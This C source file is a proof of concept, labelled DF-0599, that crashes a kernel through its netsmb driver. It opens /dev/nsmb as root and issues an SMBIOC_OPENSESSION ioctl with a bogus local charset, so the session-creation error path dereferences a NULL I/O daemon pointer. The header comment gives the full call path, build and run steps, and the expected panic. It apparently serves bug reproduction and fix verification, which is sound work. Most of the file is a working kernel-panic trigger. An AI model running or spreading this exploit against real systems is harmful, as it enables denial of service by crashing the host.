/*
 * DF-0599 — smb_vc_create error-path NULL-iod panic via invalid charset.
 *
 * Trigger: open the netsmb clone device /dev/nsmb and issue SMBIOC_OPENSESSION
 * with ioc_localcs set to a charset name for which no kiconv cspair is
 * registered.  iconv_open("tolower", localcs) returns ENOENT inside
 * smb_vc_create(); the do/while error cleanup does smb_vc_put(vcp) which
 * tears the VC down via smb_co_put -> smb_co_gone -> smb_vc_gone ->
 * smb_vc_disconnect -> smb_iod_request(vcp->vc_iod, ...).  vc_iod is still
 * NULL (smb_zmalloc zeroed it and smb_iod_create() never ran), so
 * SMB_IOD_EVLOCK(iod) = smb_sl_lock(&iod->iod_evlock) dereferences
 * NULL + offsetof(struct smbiod, iod_evlock) -> page fault -> fatal trap 12.
 *
 * Path (sys/netproto/smb/):
 *   smb_dev.c:190   SMBIOC_OPENSESSION -> smb_usr_opensession
 *   smb_usr.c:171   smb_usr_opensession -> smb_usr_vc2spec -> smb_sm_lookup
 *   smb_conn.c:202  smb_sm_lookup -> smb_vc_create (SMBV_CREATE flag set)
 *   smb_conn.c:486  iconv_open("tolower", vcspec->localcs, ...) -> ENOENT
 *   smb_conn.c:513  error cleanup: smb_vc_put(vcp)
 *   smb_conn.c:555  smb_vc_gone -> smb_vc_disconnect
 *   smb_conn.c:682  smb_vc_disconnect -> smb_iod_request(vcp->vc_iod=NULL, ...)
 *   smb_iod.c:403   SMB_IOD_EVLOCK(NULL) -> NULL-deref PANIC
 *
 * Build:  cc -o panic panic.c
 * Run:    ./panic            (MUST be root: /dev/nsmb is mode 0700 root:wheel)
 *
 * Expected on the unpatched #0 kernel: immediate fatal trap 12 (page fault)
 * at smb_iod_request+0xNN while dereferencing ~offsetof(iod_evlock).
 * Expected on a fixed kernel: ioctl returns -1 errno=ENOENT, no panic.
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- mirror sys/netproto/smb/smb_dev.h (user-facing ioctl struct) ---- */
#define NSMB_NAME           "nsmb"

#define SMB_MAXSRVNAMELEN    15
#define SMB_MAXUSERNAMELEN   128
#define SMB_MAXPASSWORDLEN   128

#define SMBVOPT_CREATE       0x0001  /* smb_dev.h:52 */

struct smbioc_ossn {
    int             ioc_opt;
    int             ioc_svlen;      /* size of ioc_server address */
    struct sockaddr *ioc_server;
    int             ioc_lolen;      /* size of ioc_local address */
    struct sockaddr *ioc_local;
    char            ioc_srvname[SMB_MAXSRVNAMELEN + 1];
    int             ioc_timeout;
    int             ioc_retrycount;
    char            ioc_localcs[16];    /* local charset  */
    char            ioc_servercs[16];   /* server charset */
    char            ioc_user[SMB_MAXUSERNAMELEN + 1];
    char            ioc_workgroup[SMB_MAXUSERNAMELEN + 1];
    char            ioc_password[SMB_MAXPASSWORDLEN + 1];
    uid_t           ioc_owner;
    gid_t           ioc_group;
    mode_t          ioc_mode;
    mode_t          ioc_rights;
};

#define SMBIOC_OPENSESSION   _IOW('n', 100, struct smbioc_ossn)

int
main(void)
{
    struct smbioc_ossn ssn;
    struct sockaddr_in sa_srv, sa_loc;
    int fd, rc;

    /*
     * A charset name for which no kiconv converter is registered.
     * ioc_localcs is only 16 bytes, so pick a short bogus name.
     */
    static const char bogus_cs[] = "BOGUSCS-9";

    fd = open("/dev/" NSMB_NAME, O_RDWR);
    if (fd < 0)
        err(1, "open /dev/%s (must be root)", NSMB_NAME);

    memset(&ssn, 0, sizeof(ssn));
    ssn.ioc_opt = SMBVOPT_CREATE;        /* force smb_vc_create path */

    /*
     * Both ioc_server and ioc_local MUST point at valid sockaddrs:
     * smb_vc_create() calls dup_sockaddr() on both unconditionally
     * (smb_conn.c:462 vc_paddr, :466 vc_laddr) BEFORE it reaches the
     * iconv_open() calls (:486/:489) whose ENOENT failure is the actual
     * DF-0599 trigger.  Providing both gets us past the sockaddr dup into
     * the charset error path -> smb_vc_disconnect(vc_iod=NULL).
     */
    memset(&sa_srv, 0, sizeof(sa_srv));
    sa_srv.sin_len = sizeof(sa_srv);
    sa_srv.sin_family = AF_INET;
    sa_srv.sin_port = htons(139);
    sa_srv.sin_addr.s_addr = inet_addr("127.0.0.1");
    ssn.ioc_server = (struct sockaddr *)&sa_srv;
    ssn.ioc_svlen  = sizeof(sa_srv);

    memset(&sa_loc, 0, sizeof(sa_loc));
    sa_loc.sin_len = sizeof(sa_loc);
    sa_loc.sin_family = AF_INET;
    sa_loc.sin_port = htons(0);
    sa_loc.sin_addr.s_addr = inet_addr("0.0.0.0");
    ssn.ioc_local = (struct sockaddr *)&sa_loc;
    ssn.ioc_lolen = sizeof(sa_loc);

    strlcpy(ssn.ioc_srvname,  "127.0.0.1", sizeof(ssn.ioc_srvname));
    strlcpy(ssn.ioc_user,     "guest",     sizeof(ssn.ioc_user));
    strlcpy(ssn.ioc_localcs,  bogus_cs,    sizeof(ssn.ioc_localcs));
    ssn.ioc_servercs[0] = '\0';          /* skip the toserver/tolocal calls */

    printf("[*] DF-0599: issuing SMBIOC_OPENSESSION with localcs=\"%s\" "
           "(size=%zu)\n", bogus_cs, sizeof(ssn));
    fflush(stdout);

    rc = ioctl(fd, SMBIOC_OPENSESSION, &ssn);
    /* If we reach here on the unpatched kernel, the bug did NOT fire. */
    printf("[!] ioctl returned rc=%d errno=%d (%m)\n", rc, rc < 0 ? errno : 0);

    close(fd);
    return 0;
}
